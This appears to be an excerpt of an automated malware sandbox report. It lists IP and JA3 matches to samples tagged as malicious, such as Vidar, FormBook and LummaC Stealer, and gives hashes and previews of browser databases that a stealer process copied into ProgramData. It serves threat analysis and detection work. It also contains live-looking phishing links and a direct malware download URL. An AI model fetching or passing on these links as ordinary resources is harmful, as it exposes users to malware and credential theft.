	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	13.107.42.14
HETZNER-ASDE	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	78.47.105.59
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	RFQ 6000066536 - PR 10023150.exe	Get hash	malicious	FormBook	Browse	144.76.229.203
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	RtpKzWv1ui.exe	Get hash	malicious	FormBook	Browse	88.198.219.246
	BBjDSx0iWh.exe	Get hash	malicious	FormBook	Browse	144.76.229.203
INF-NET-ASRU	http://www.delawarejellystone.com	Get hash	malicious	Unknown	Browse	89.169.52.197
	m4n1AQRhaP.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	83.217.209.253
	Software Installer.exe	Get hash	malicious	Unknown	Browse	83.217.208.69
	http://89.169.13.138/3.exe	Get hash	malicious	Unknown	Browse	89.169.13.138
	tlses(x86).exe	Get hash	malicious	CryptOne, RHADAMANTHYS	Browse	83.217.208.90
	vstdlib_s64.dll.dll	Get hash	malicious	RHADAMANTHYS	Browse	83.217.208.36
	Limba#U017ei.dll.dll	Get hash	malicious	RHADAMANTHYS	Browse	83.217.208.96
	albion.ps1	Get hash	malicious	Unknown	Browse	83.217.208.90
	https://report-dto51bfgo7f.pages.dev/	Get hash	malicious	Unknown	Browse	83.217.208.90
	osnova.ps1	Get hash	malicious	Unknown	Browse	83.217.208.90
AKAMAI-ASN1EU	https://nut.sh/ell/ed/322238/XZdE6P	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	http://my.altafiber.com	Get hash	malicious	Phisher	Browse	23.54.161.81
	nvda_2024.4.2.exe	Get hash	malicious	Unknown	Browse	172.236.133.164
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	23.204.152.234
	https://hi.txjpejsyz.es/kgOKFB/#Ejoseph.crecca@boarshead.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.34
	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	23.33.44.233
	https://kpch.spreco.com.ar/	Get hash	malicious	HTMLPhisher	Browse	23.219.82.161
	http://nsubddse.proacteye.com/rd/4EaTnI6331JzCB727gwacifhvrr249LTLITTNGHRGELJP571410HIPC41923S12?NRpaAYQBQEaiWcfZy-iDxOnKpwTM-vPqDpt	Get hash	malicious	Unknown	Browse	23.199.49.237
	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	YTOEOXNI.msi	Get hash	malicious	RedLine, SectopRAT	Browse	23.44.133.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	841921513_x64.dll.dll	Get hash	malicious	Unknown	Browse	49.13.158.58
	uicl9HAuoi.exe	Get hash	malicious	Unknown	Browse	49.13.158.58
	841921513_x64.dll.dll	Get hash	malicious	Unknown	Browse	49.13.158.58
	uicl9HAuoi.exe	Get hash	malicious	Unknown	Browse	49.13.158.58
	UawSjJJHvV.exe	Get hash	malicious	Socks5Systemz	Browse	49.13.158.58
	luWow7XoM6.exe	Get hash	malicious	Socks5Systemz	Browse	49.13.158.58
	pBYl2fOFZX.exe	Get hash	malicious	Socks5Systemz	Browse	49.13.158.58
	pBYl2fOFZX.exe	Get hash	malicious	Socks5Systemz	Browse	49.13.158.58
	file.exe	Get hash	malicious	CryptOne, LummaC Stealer, Socks5Systemz	Browse	49.13.158.58
	file.exe	Get hash	malicious	Socks5Systemz	Browse	49.13.158.58

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\714380\Wake.com	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse
	#Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exe	Get hash	malicious	Unknown	Browse
	#Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	random.exe	Get hash	malicious	LummaC Stealer	Browse
	LatestLeave.exe	Get hash	malicious	AsyncRAT, Discord Token Stealer	Browse
	LatestLeave.exe	Get hash	malicious	AsyncRAT	Browse
	random.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\00hl6\16phvsjmg

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\8gvk6x

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\jmyuai

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\00hl6\ngv37y

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\sjmgvk

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3046000, file counter 2, database pages 41, 1st free page 29, free pages 1, cookie 0x25, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	0.45909911068154247
Encrypted:	false
SSDEEP:	96:OpdTxQ+ALqL/uejzH+bF+UIYysX0lj/twfLyl0e9S8E:OpdT7IqL/tH+bF+UI3i67Kylj9
MD5:	89783266A93C429FCFB9CE049053FCCD
SHA1:	AC70D1404CB8588DBB685165154CA6FD01942CCE
SHA-256:	AF2420C3F982037DA346ACB0722E54A466547DCCFC54C44EA84FBC1401DC15BC
SHA-512:	BD3C480D62EDF9CA8F23BB17E39405E9EE2EE705EEE832F738D4C3AE5C16E3317A1822C07373CB49A8E704B3DA3D7BDC95544208C1C369322E7F8CE2E2DE93CF
Malicious:	false
Preview:	SQLite format 3......@ .......)...........%......................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\sriwln

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 4, database pages 68, cookie 0x4a, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	139264
Entropy (8bit):	1.1353454741604
Encrypted:	false
SSDEEP:	192:elsfoVZkNi61n1ulH5mpX67oVuZVPqfPk:elsfoQx1n1ulH5umoVuZVPqfM
MD5:	D2A4025F32C5C6B3F294F7ECC10DD371
SHA1:	9EFC8B64F96F1D36D8C8AA14286B2FC8E0557C47
SHA-256:	D954F165A5E9B85DED33C1727606EA1A3209FA7E724493B4F64053E171DB414F
SHA-512:	5774023D161B6EB6495361A302F16681144FD12FBC3DE09DB6826EEAB28E2DC0FF36B966FB6BF064A6F7FF3DBA77E0148208FF3D4BA44297ADAAD8B656106296
Malicious:	false
Preview:	SQLite format 3......@ .......D...........J......................................................zp...........<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\vkfkno

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215401507481708
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:qq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	4B7413BC9D2D60F801777DE457B19F3D
SHA1:	708BBAC7E9CF6448CBA5AD64C0F7DCF4DFF3355F
SHA-256:	DB9A12C7F30F936B06EEED870E949CF9C2B67EEC18EEFAA62658CE1A8DA8FE19
SHA-512:	71F7472F7918F59BB17F82C6A4B784D6742E7E2683DE4C5D60186664A5E304A21EEF4F8C88E7FC852B207876EC9D3EE963F4805C329FD07F8A4B93A0E3C43021
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\w47qq9rqq

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\00hl6\ymo89r

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08441928760034874
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vI:51zkVmvQhyn+Zoz67V
MD5:	2ABDC5DBC05C0C5CE5E1EB6D6E8C1B0D
SHA1:	14DFBE9B28D033542357D98005239D842A16FCFD
SHA-256:	91F1008439BD28B09EC1FC851F2679DFBAA45B27409882AD899CEF8460A036AF
SHA-512:	DD4BD1407DFDC90BC97F5940A120CCDE7D4A6DAA3E0DB1649BED96EBE52FFDF879E52E028657F954FF39A93EEE8F57694A7EAC55D85CA57AF2BBD7A7793B9030
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\01670a07-d481-418a-9cd1-8fbb7ff3f4a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\122e98fd-c2f7-40d0-bcc4-26ed5bf7857a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57231
Entropy (8bit):	6.100356135528553
Encrypted:	false
SSDEEP:	1536:kMk16zRRSVa5PGWv/sxtwhvanXFor7VLyMV/Yos8:kMYOGQv/4Kh2EVeZos8
MD5:	52C797ED89442F5D3988A2AC5B42EA71
SHA1:	EDDFCBE591525FAEDC5D5C376BE0D609A920AB25
SHA-256:	894ED5B07D3FA905364D3431821BCDFD2D3489FDD1BED562C82900AC0860220B
SHA-512:	F15897175AB69CDF1D61BDDF280337C918DBC254D96EEB3572508EF5DD28379C6AC324A8A2B07C1710AF99551924996FB785360E8325292BCA0BD7060F4FB70F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a6e2226c-4946-42d1-b4df-91b1e02f5f4e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\776653e2-564c-44a1-9e06-74e416679a8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57308
Entropy (8bit):	6.100453699906131
Encrypted:	false
SSDEEP:	1536:kMk16zRRS3aaMPGWv/sxtwhvanXFor7VLyMV/Yos8:kMYOqSv/4Kh2EVeZos8
MD5:	747CBF0FBEC1FB3C3A44E315EC7ADD9F
SHA1:	3D1C5050400749D810F637CFEC9D31947D773898
SHA-256:	AEFB30431934B709DD8FE5532F5179FBBC7B08CEB5855209287D047868FD90D1
SHA-512:	FBB1AE2C4FDF2BA2EAE38833158E9F2B4C9CF7BB0346C857FE9B6E50B45C5BE020EC8E5C01489114582E9D422A993D5201D0F55DC38A82C639900B3FE4DEBC43
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a6e2226c-4946-42d1-b4df-91b1e02f5f4e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\55e60ce7-5d6f-4bc4-84f9-78a41363ab85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64014473878129
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	014564A9021810928AD8436483092737
SHA1:	4771185E22791E804B8C40FA377C0144E2816E5A
SHA-256:	F1E171DF9548982BB58FF184AFDB7011016756EA101950B32C6BD218D2671528
SHA-512:	7997533ED6BA4AE278419C6AB55DB17A306EFA12EFB4AB84F5785AE4839B4B2C0859649972EDED0CA018F60B2AA2E6668A51AD1BA12736C293C94DE1140B4208
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64014473878129
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	014564A9021810928AD8436483092737
SHA1:	4771185E22791E804B8C40FA377C0144E2816E5A
SHA-256:	F1E171DF9548982BB58FF184AFDB7011016756EA101950B32C6BD218D2671528
SHA-512:	7997533ED6BA4AE278419C6AB55DB17A306EFA12EFB4AB84F5785AE4839B4B2C0859649972EDED0CA018F60B2AA2E6668A51AD1BA12736C293C94DE1140B4208
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

